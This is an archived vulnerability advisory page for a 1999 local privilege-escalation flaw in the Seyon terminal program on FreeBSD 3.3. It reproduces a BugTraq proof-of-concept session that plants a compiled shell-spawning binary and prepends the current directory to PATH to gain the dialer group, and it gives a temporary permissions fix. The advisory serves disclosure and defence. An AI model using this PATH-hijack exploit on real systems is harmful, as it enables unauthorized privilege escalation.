Seyon Relative Path Vulnerability

BID:780

Info

Seyon Relative Path Vulnerability

Bugtraq ID: 780
Class: Environment Error
CVE:
Remote: No
Local: Yes
Published: Nov 08 1999 12:00AM
Updated: Nov 08 1999 12:00AM
Credit: This was first exposed on BugTraq by Shawn Hillis <[email protected]> on Jun 17 1997. It was later brought up again by Brock Tellier <[email protected]> on BugTraq because a vulnerable version was still being shipped with FreeBSD 3.3.
Vulnerable: Muhammad M. Saggaf Seyon 2.14 b
+ FreeBSD FreeBSD 3.3
Not Vulnerable:

Discussion

Seyon Relative Path Vulnerability

Seyon uses relative pathnames to spawn two other programs which it requires. It is possible to exploit this vulnerability to obtain the priviliges which seyon runs with. It is installed (by default) setgid dialer on FreeBSD and root on Irix.

Exploit / POC

Seyon Relative Path Vulnerability

The following was taken from Brock Tellier's BugTraq posting on Nov 8, 1999:

bash-2.03$ uname -a; id; ls -la `which seyon`
FreeBSD 3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT 1999=
=

[email protected]:/usr/src/sys/compile/GENERIC i386
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec)
-rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon
bash-2.03$ cat > seyonx.c
void main () {
setregid(getegid(), getegid());
system("/usr/local/bin/bash");
}
bash-2.03$ gcc -o seyon-emu seyonx.c
bash-2.03$ PATH=.:$PATH
bash-2.03$ seyon
bash-2.03$ id
uid=1000(xnec) gid=68(dialer) groups=68(dialer), 1000(xnec)
bash-2.03$

Solution / Fix

Seyon Relative Path Vulnerability

Solution:
From the BugTraq post:

A temporary fix is to simply chmod 750 `which seyon` and add selected users to the "dialer" group.

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

Seyon Relative Path Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report